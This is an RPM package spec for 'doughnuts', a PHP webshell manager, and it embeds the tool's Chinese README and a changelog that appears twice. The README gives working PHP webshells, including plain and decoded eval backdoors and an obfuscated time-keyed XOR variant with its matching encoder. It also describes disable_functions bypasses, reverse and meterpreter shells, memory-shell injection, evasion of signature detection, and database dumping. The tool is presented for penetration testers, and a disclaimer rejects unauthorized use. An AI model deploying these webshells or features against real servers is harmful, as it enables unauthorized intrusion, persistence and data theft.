- 4.18.0
    - 修复bug
        - proxy: 可能失效的问题
        - db_shell: 命令重复执行

    - 优化功能
        - upload
            - 使用$_FILES上传失败时显示失败原因
        - socks
            - windows下http path的默认值使用/替换\
    - 新增功能
        - db_exec
            - 启动编辑器执行任意sql语句
- 4.18.1
    - 修复bug
        - db_mdump
            - 重试无效的问题
            - 线程不安全导致dump的数据不全或重复的问题
            - 数据为空时与数据类型不匹配的问题,将''替换为null
- 4.18.2
    - 修复bug
        - mdownload
            - 重试后无论如何都显示下载失败
    - 优化功能
        - 使用自定义的函数获取php配置选项的值，而非ini_get
        - getenv
            - 使用自定义的函数获取php配置选项的值，而非ini_get
        - mdownload
            - 添加hash验证
            - 增加提示
            - 使用临时文件而非内存存储chunk
        - 请求: 添加重试次数2
- 4.18.3
    - 修复bug
        - mdownload,download在下载时会创建文件夹
        - write写入文件名错误
        - edit编辑文件时为空
    - README
        - 添加shields
### 4.17
- 4.17.0
    - 添加说明
        - bdf: 补充4.15新增的fpm-ftp模式的说明
    - 新增功能
        - bdf-fpm:
            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
        - system:
            - 若命令以&结尾，则会将其起新线程挂在后端执行

        

### 4.16
- 4.16.0
    - 优化功能
        - socks
            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
            - 支持在fsockopen被禁用时使用pfsockopen
            - 更改说明,只支持5.4.0及以上版本
    - 新增功能
        - phpinfo
            - 调用默认浏览器显示phpinfo信息
    - 修复bug
        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
        - 修复某些命令会输出debug消息的bug
        - fwpf无法生效
        - connect时额外参数有多个:或者=号时程序异常
        - download，mdownload:指定文件保存名时认为是目录的bug
- 4.16.1
    - 优化功能
        - 删除generate的非交互输出
        - 修改reverse的文档，windows-php不建议使用
        - connect:假如ini_get被禁用也能够链接
        - bdf-10-fpm
            - http_sock: 支持stream_socket_client函数作为备用
            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
        

### 4.15
- 4.15.0
    - 修改别名
        socks -> old_socks
    - 新增功能
        - bdf
            - 增加FFI-php_exec, php7-reflectionProperty模式
        - outnetwork
            - 快速检查目标机器是否能出网
        - socks
            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
    - 修改输出
        write
    - 修复bug
        - 无法使用参数短别名
        - requirements.txt中的urllib3版本修改为1.26.5
- 4.15.1
    - 修改bug
        - ps命令在无法读取/proc目录时没有输出报错
        - execute,write,edit无法使用自定义编辑器或报错
    - 修改输出
        - touch
    - 优化功能
        - execute,write,edit
            - 现在编辑一个临时的php文件而非无后缀文件
            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
            - 当使用code(即vscode)时会自动添加--wait参数
    

### 4.14
- 4.14.0
    - 新增功能
        - bdf
            - 增加iconv模式
    - 修复bug
        - edit, upload
        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
- 4.14.1
- 4.14.2
    - 修复bug
        - 在Python3.9中报错
            -bindshell, remp, reverse, socks
        - gululingbo模板生成的webshell没有php头
        - log命令默认参数时提示File path is invalid
- 4.14.3
    - 修复bug
        - 在windows下连接使用额外参数时错误
        - ls显示带有空格文件名的文件的时候显示不全
    - 删除特性
        - 不再能从外部使用connect命令

        
### 4.13
- 4.13.0
    - 新增功能
        - bdf
            - 增加apache-mod-cgi模式
- 4.13.1
    - 修复bug
        - iconv.c源码
### 4.12
- 4.12.0
    - 新增功能
        - bdf
            - 修改ld_preload部分,重构代码,支持x86 linux
            - 为udf部分切割代码
        - reverse
            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
            - 添加bash_exec类型,使用exec和管道符实现
        - search
            - 添加别名find, 最后结果以绝对路径显示
        - remp
            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
        - upload
            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
    - 修复bug
        upload
    - 添加注释
        bdf, reverse, av, checkvm
    - 修改帮助文档
        bdf, reverse, bobd, search, upload
    - 重构代码
        search, bdf, upload
    - 修改分类
        - verbose general->COMMON
### 4.11
- 4.11.0
    - 修改命令
        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
            现在支持三种attack_type: gopher,sock,http_sock
            - gopher: 使用curl扩展与gopher协议攻击fpm端口
            - sock: 使用stream_socket_client攻击fpm-sock
            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
    
- 4.11.1
    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
- 4.11.2
    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
### 4.10
- 4.10.0
    - 修改命令
        - touch命令 支持windows,不再调用系统命令去实现
- 4.10.1-3(废弃版本)
- 4.10.4
    - 添加缺少的依赖到requirements.txt: six
- 4.10.5
    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
### 4.9
- 4.9.0
    - 修改核心
        - 添加custom_plugins目录,用于存放用户自己编写的插件
        - 添加config.ini文件,用于配置相关参数
- 4.9.1
    - 修复在pypi版本与github版本不一致的问题
- 4.9.2
- 4.9.3, 4.9.4
    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug

### 4.8
- 4.8.0
    - 修改命令
        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
- 4.8.1
    - 优化代码结构
    - 优化doughnuts加密算法
    - 修复enrecv不存在的问题

### 4.7
- 4.7.0
    - 修改命令
        - remp命令 修改php模式的payload,添加bash和python的payload
        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)

### 4.6
- 4.6.0
    - 添加命令
        - verbose命令 用于开启/关闭提示符的详细信息显示

### 4.5
- 添加命令
    - enrecv命令 用于随时开启/关闭回显加密
    - remp命令 可以简易的弹一个meterpreter的shell
- 修复bug
    - 修复回显加密在弹shell时可能会出现解码错误的问题
- 4.5.1
    - 现在使用随机字符作为连接是否成功的判断以防特征检测
- 4.5.2
    - 添加命令
        - mkdir命令 创建文件夹
        - rmdir命令 删除空文件夹

### 4.4
- 修改核心
    - 使用算法将回显加密
- 4.4.1
    - 修复bug
        - **回显加密在php5会出错**
- 4.4.2
    - 修改命令
        - touch命令 提示修改
        - ps命令    提示修改,只允许在*unix目标上运行
    - 修复bug
        - 曾导致在linux下调用vi编辑器失败

### 4.3
- 修改命令
    - portscan去除短名ps, 修改显示结果,变得更加可读
    - bobd支持在ini_set被禁用时使用ini_alter
    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
- 添加命令
    - copy命令 用于复制文件
    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
- 修复bug
    - 在back返回主菜单后清理mysql连接记录


### 4.2
- 修改结构
    - myapp尝试丢弃webshell执行代码之前的输出
- 添加命令
    - mdownload命令 用于分块下载文件
- 修改命令
    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
- 修复bug
    - 修复mdownload, mupload没有ls后补全的问题
- 新增依赖
    - tqdm
- 4.2.1
    - 修改命令
        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义




### 4.1
- 修改结构
    - 新建插件时不再需要更改helpmenu.py


### 4.0
- 修改命令
    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
    - 修复某些文本错误
    - db_dump命令 
        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
    - dump命令
        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
- 添加命令
    - db_mdump命令 用于分块dump数据库
- 4.0.1
    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
- 4.0.2
    - 修复了db_mdump数据重复的问题
- 4.0.3
    - 删除测试输出,删除db_mdump中DROP DATABASE语句

## 免责声明

本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.


%package help
Summary:	Development documents and examples for doughnuts
Provides:	python3-doughnuts-doc
%description help
# Doughnuts

*一个基于Python3.6+的PHPwebshell管理器*


<p align="center">
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
     </a>
     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
     </a>
     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
     </a>
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
     </a>
     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
     </a>
</p>

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)

## 使用文档

~~终于迎来了新的使用文档！~~

***文档中许多内容已经过期，请以新版为准***

详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。

## 特征

- 支持连接,记录,管理webshell,方便下一次连接
- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
- **请求与响应伪装**
- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
- **支持绕过open_basedir**
- **支持多种方式绕过disable_functions**
    - 自动识别
    - php7-backtrace
    - php7-gc
    - php7-json
    - php7-splDoublyLinkedList
    - LD_PRELOAD
    - FFI
    - COM
    - imap_open
    - MYSQL-UDF
    - fpm(支持四种攻击方式，sock和端口的攻击方式)
    - apache-mod-cgi
    - iconv
    - FFI-php_exec
    - php7-reflectionProperty
    - user_filter
- 核心功能
    - 获取网站,系统,进程信息
    - 输出disbale_functions
    - 寻找可写的PHP文件(以树状结构显示)
    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
    - 执行自定义的php代码
    - 获取一个临时的非完全交互式shell和webshell
    - 正向/反弹shell
    - 可以支持弹meterpreter的shell(php代码实现)
    - (仅限双方均为*unix)获取完全交互式的反弹shell
    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
    - 数据库管理,临时的sql-shell,数据dump,分段dump
    - **端口扫描**
    - **出网检测**
    - **集成neo-regeorg，一键开启socks5服务器**
    - 内网网页文本式浏览代理，可自定义请求方法和数据
    - 检测suid文件并给出提权建议 / 检测杀毒软件
- 易于扩展

## 依赖

- Python3.6+
- Python-requests
- Python-pysocks
- Python-colorama
- Python-prettytable

## 安装/运行方法

***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***

- 使用pip安装

```sh
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
```

- 通过poetry安装

```sh
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
```

- 直接安装

```sh
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
```

- 使用docker

```bash
# 启动一个doughnuts容器
docker run --name doughnuts -itd longlone/doughnuts
# 执行doughnuts容器的bash
docker exec -it doughnuts bash
# 在容器中运行doughnuts,这样你可以存储webshell记录等
doughnuts

# 或者直接执行doughnuts
docker run --rm -it longlone/doughnuts:cli
```

## 使用例子

*由于windows原因，在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递，且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*

1. 普通webshell:

    - 最平凡的webshell:

        ```php
        //test1.php
        <?php
        error_reporting(0);
        eval($_POST['2333']);
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      ```
      connect http://localhost/test1.php POST 2333
      ```
      
    - 带解码的webshell:

        ```php
        //test2.php
        <?php
        error_reporting(0);
        eval(str_rot13(base64_decode($_REQUEST['2333'])));
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      
      ```
      connect http://localhost/test2.php POST 2333 rot13 base64
      ```
      
    - 需要额外参数与解码的webshell:

        ```php
        //test3.php
        <?php
        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
        	@eval(base64_decode($_POST['2333']));
        }
        ```

        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

        ```
        connect http://localhost/test.php POST 2333 base64 "data:a=123"
        ```

2. 生成webshell:
    1. 运行doughnuts
    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell

## 自定义编码器
1. 进入doughnuts/encode目录
2. 新建/拷贝一个py文件,起一个名字,以time.py为例
3. 文件中只需要写一个run函数,类似于
```python
from libs.config import alias


@alias(True)
def run(data: str):
    cipher = data
    return cipher
```
4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
6. 一个例子,以时间为秘钥的编码器
```python
from libs.config import alias
from hashlib import md5
from base64 import b64encode
import time


@alias(True)
def run(data: str):
    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
    key = md5(format_time.encode()).hexdigest().encode()
    data = data.encode()
    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
    cipher = b64encode(cipher).decode()

    return cipher
```
对应的php webshell
```php
<?php 
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
    $post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
```

## 自定义webshell模板
1. 进入doughnuts/webshell_plugins目录
2. 新建/拷贝一个py文件,起一个名字,以test.py为例
3. 文件中只需要写一个get_php函数,类似于
```python
def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
    ...
```
4. 各个参数解释
    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
    - passwd是连接webshell的密码
    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell

## 参考

- https://github.com/WangYihang/Webshell-Sniper
- https://github.com/epinna/weevely3

## 更新日志

### 4.24.0
- 4.24.0 
  - 4.24.0
    - 新增功能
        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
    - 优化
      - 优化bdf-fpm的逻辑，修复一些bug
### 4.23.0
- 4.23.0
    - 新增功能
        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
- 4.23.1
    - 修复bug
        - connect: 某些webshell无法连接的问题 (出现 IndexError)
        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
        - portscan: 无法使用的问题
        - upload: 使用file_put_contents上传文件时错误的问题
- 4.23.2
    - 修复bug
        - 在linux下调用vi编辑器会导致无法写入的问题
        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
- 4.23.3
    - 修复bug       
        - upload无法使用的bug
        - 在艰难环境下连接webshell的优化

### 4.22.0

- 4.22.0
  - 新增功能
    - extension
      - 查看当前php所装扩展
  - 优化功能
    - 去除安装脚本中部分多余代码
    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
    - 现在输入完整命令后按方向键(→)或tab显示候选参数
    - 现在会根据自带的base64函数是否可用自动补上base64函数头
    - cat
      - 现在会根据情况自动选择读取文件方式
    - write
      - 现在会根据情况自动选择写入文件方式
  - 重构代码
    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
    - 对myapp.py中大部分php代码进行包装转移
    - 对connect.py中部分php代码进行包装转移
    - 对webshell_plugins内大部分插件的php代码进行包装转移
  - 修复bug
    - readline:
      - 在自动补全参数时有可能会重复补全命令的错误
      - 无法对general中命令参数进行自动补全的错误
      - 有关debug代码部分的错误
    - 更正部分文本错误，去除部分多余代码

### 4.21.0

- 4.21.0
    - 新增功能
        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
    - 修复bug
        - bdf-fpm:
            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
### 4.20.0
- 4.20.0
    - 新增特性
        - 在极端环境下连接webshell
    - 新增功能
        - bdf: 12-iconv 增加bypass函数

### 4.19.0
- 4.19.0
    - 新增功能
        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
### 4.18.0
- 4.18.0
    - 修复bug
        - proxy: 可能失效的问题
        - db_shell: 命令重复执行

    - 优化功能
        - upload
            - 使用$_FILES上传失败时显示失败原因
        - socks
            - windows下http path的默认值使用/替换\
    - 新增功能
        - db_exec
            - 启动编辑器执行任意sql语句
- 4.18.1
    - 修复bug
        - db_mdump
            - 重试无效的问题
            - 线程不安全导致dump的数据不全或重复的问题
            - 数据为空时与数据类型不匹配的问题,将''替换为null
- 4.18.2
    - 修复bug
        - mdownload
            - 重试后无论如何都显示下载失败
    - 优化功能
        - 使用自定义的函数获取php配置选项的值，而非ini_get
        - getenv
            - 使用自定义的函数获取php配置选项的值，而非ini_get
        - mdownload
            - 添加hash验证
            - 增加提示
            - 使用临时文件而非内存存储chunk
        - 请求: 添加重试次数2
- 4.18.3
    - 修复bug
        - mdownload,download在下载时会创建文件夹
        - write写入文件名错误
        - edit编辑文件时为空
    - README
        - 添加shields
### 4.17
- 4.17.0
    - 添加说明
        - bdf: 补充4.15新增的fpm-ftp模式的说明
    - 新增功能
        - bdf-fpm:
            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
        - system:
            - 若命令以&结尾，则会将其起新线程挂在后端执行

        

### 4.16
- 4.16.0
    - 优化功能
        - socks
            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
            - 支持在fsockopen被禁用时使用pfsockopen
            - 更改说明,只支持5.4.0及以上版本
    - 新增功能
        - phpinfo
            - 调用默认浏览器显示phpinfo信息
    - 修复bug
        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
        - 修复某些命令会输出debug消息的bug
        - fwpf无法生效
        - connect时额外参数有多个:或者=号时程序异常
        - download，mdownload:指定文件保存名时认为是目录的bug
- 4.16.1
    - 优化功能
        - 删除generate的非交互输出
        - 修改reverse的文档，windows-php不建议使用
        - connect:假如ini_get被禁用也能够链接
        - bdf-10-fpm
            - http_sock: 支持stream_socket_client函数作为备用
            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
        

### 4.15
- 4.15.0
    - 修改别名
        socks -> old_socks
    - 新增功能
        - bdf
            - 增加FFI-php_exec, php7-reflectionProperty模式
        - outnetwork
            - 快速检查目标机器是否能出网
        - socks
            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
    - 修改输出
        write
    - 修复bug
        - 无法使用参数短别名
        - requirements.txt中的urllib3版本修改为1.26.5
- 4.15.1
    - 修改bug
        - ps命令在无法读取/proc目录时没有输出报错
        - execute,write,edit无法使用自定义编辑器或报错
    - 修改输出
        - touch
    - 优化功能
        - execute,write,edit
            - 现在编辑一个临时的php文件而非无后缀文件
            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
            - 当使用code(即vscode)时会自动添加--wait参数
    

### 4.14
- 4.14.0
    - 新增功能
        - bdf
            - 增加iconv模式
    - 修复bug
        - edit, upload
        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
- 4.14.1
- 4.14.2
    - 修复bug
        - 在Python3.9中报错
            -bindshell, remp, reverse, socks
        - gululingbo模板生成的webshell没有php头
        - log命令默认参数时提示File path is invalid
- 4.14.3
    - 修复bug
        - 在windows下连接使用额外参数时错误
        - ls显示带有空格文件名的文件的时候显示不全
    - 删除特性
        - 不再能从外部使用connect命令

        
### 4.13
- 4.13.0
    - 新增功能
        - bdf
            - 增加apache-mod-cgi模式
- 4.13.1
    - 修复bug
        - iconv.c源码
### 4.12
- 4.12.0
    - 新增功能
        - bdf
            - 修改ld_preload部分,重构代码,支持x86 linux
            - 为udf部分切割代码
        - reverse
            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
            - 添加bash_exec类型,使用exec和管道符实现
        - search
            - 添加别名find, 最后结果以绝对路径显示
        - remp
            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
        - upload
            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
    - 修复bug
        upload
    - 添加注释
        bdf, reverse, av, checkvm
    - 修改帮助文档
        bdf, reverse, bobd, search, upload
    - 重构代码
        search, bdf, upload
    - 修改分类
        - verbose general->COMMON
### 4.11
- 4.11.0
    - 修改命令
        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
            现在支持三种attack_type: gopher,sock,http_sock
            - gopher: 使用curl扩展与gopher协议攻击fpm端口
            - sock: 使用stream_socket_client攻击fpm-sock
            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
    
- 4.11.1
    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
- 4.11.2
    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
### 4.10
- 4.10.0
    - 修改命令
        - touch命令 支持windows,不再调用系统命令去实现
- 4.10.1-3(废弃版本)
- 4.10.4
    - 添加缺少的依赖到requirements.txt: six
- 4.10.5
    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
### 4.9
- 4.9.0
    - 修改核心
        - 添加custom_plugins目录,用于存放用户自己编写的插件
        - 添加config.ini文件,用于配置相关参数
- 4.9.1
    - 修复在pypi版本与github版本不一致的问题
- 4.9.2
- 4.9.3, 4.9.4
    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug

### 4.8
- 4.8.0
    - 修改命令
        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
- 4.8.1
    - 优化代码结构
    - 优化doughnuts加密算法
    - 修复enrecv不存在的问题

### 4.7
- 4.7.0
    - 修改命令
        - remp命令 修改php模式的payload,添加bash和python的payload
        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)

### 4.6
- 4.6.0
    - 添加命令
        - verbose命令 用于开启/关闭提示符的详细信息显示

### 4.5
- 添加命令
    - enrecv命令 用于随时开启/关闭回显加密
    - remp命令 可以简易的弹一个meterpreter的shell
- 修复bug
    - 修复回显加密在弹shell时可能会出现解码错误的问题
- 4.5.1
    - 现在使用随机字符作为连接是否成功的判断以防特征检测
- 4.5.2
    - 添加命令
        - mkdir命令 创建文件夹
        - rmdir命令 删除空文件夹

### 4.4
- 修改核心
    - 使用算法将回显加密
- 4.4.1
    - 修复bug
        - **回显加密在php5会出错**
- 4.4.2
    - 修改命令
        - touch命令 提示修改
        - ps命令    提示修改,只允许在*unix目标上运行
    - 修复bug
        - 曾导致在linux下调用vi编辑器失败

### 4.3
- 修改命令
    - portscan去除短名ps, 修改显示结果,变得更加可读
    - bobd支持在ini_set被禁用时使用ini_alter
    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
- 添加命令
    - copy命令 用于复制文件
    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
- 修复bug
    - 在back返回主菜单后清理mysql连接记录


### 4.2
- 修改结构
    - myapp尝试丢弃webshell执行代码之前的输出
- 添加命令
    - mdownload命令 用于分块下载文件
- 修改命令
    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
- 修复bug
    - 修复mdownload, mupload没有ls后补全的问题
- 新增依赖
    - tqdm
- 4.2.1
    - 修改命令
        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义




### 4.1
- 修改结构
    - 新建插件时不再需要更改helpmenu.py


### 4.0
- 修改命令
    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
    - 修复某些文本错误
    - db_dump命令 
        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
    - dump命令
        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
- 添加命令
    - db_mdump命令 用于分块dump数据库
- 4.0.1
    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
- 4.0.2
    - 修复了db_mdump数据重复的问题
- 4.0.3
    - 删除测试输出,删除db_mdump中DROP DATABASE语句

## 免责声明

本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.


%prep
%autosetup -n doughnuts-4.24.0

%build
%py3_build

%install
%py3_install
install -d -m755 %{buildroot}/%{_pkgdocdir}
if [ -d doc ]; then cp -arf doc %{buildroot}/%{_pkgdocdir}; fi
if [ -d docs ]; then cp -arf docs %{buildroot}/%{_pkgdocdir}; fi
if [ -d example ]; then cp -arf example %{buildroot}/%{_pkgdocdir}; fi
if [ -d examples ]; then cp -arf examples %{buildroot}/%{_pkgdocdir}; fi
pushd %{buildroot}
if [ -d usr/lib ]; then
	find usr/lib -type f -printf "/%h/%f\n" >> filelist.lst
fi
if [ -d usr/lib64 ]; then
	find usr/lib64 -type f -printf "/%h/%f\n" >> filelist.lst
fi
if [ -d usr/bin ]; then
	find usr/bin -type f -printf "/%h/%f\n" >> filelist.lst
fi
if [ -d usr/sbin ]; then
	find usr/sbin -type f -printf "/%h/%f\n" >> filelist.lst
fi
touch doclist.lst
if [ -d usr/share/man ]; then
	find usr/share/man -type f -printf "/%h/%f.gz\n" >> doclist.lst
fi
popd
mv %{buildroot}/filelist.lst .
mv %{buildroot}/doclist.lst .

%files -n python3-doughnuts -f filelist.lst
%dir %{python3_sitelib}/*

%files help -f doclist.lst
%{_docdir}/*

%changelog
* Fri May 05 2023 Python_Bot <Python_Bot@openeuler.org> - 4.24.0-1
- Package Spec generated